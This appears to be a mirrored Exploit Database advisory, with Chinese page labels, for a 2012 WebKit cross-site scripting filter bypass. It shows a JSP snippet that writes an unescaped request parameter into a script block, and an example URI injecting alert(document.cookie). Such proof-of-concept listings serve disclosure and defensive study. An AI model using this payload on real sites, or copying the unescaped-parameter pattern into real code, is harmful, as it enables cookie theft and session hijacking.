WebKit Cross-Site Scripting Filter – ‘Cross-Site ScriptingAuditor.cpp’ Security Bypass

• Exploit Database
• 115 阅读

• 作者： Tushar Dalvi
  日期： 2012-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38024/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  source: https://www.securityfocus.com/bid/56570/info   WebKit is prone to a security-bypass vulnerability.   An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.   Code in test.jsp:   <title>Test Page</title> <script> var foo = "<%= request.getParameter("foo") %>"; document.write("<text>Welcome "+ foo + "</text>"); </script>   Example URI:   http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1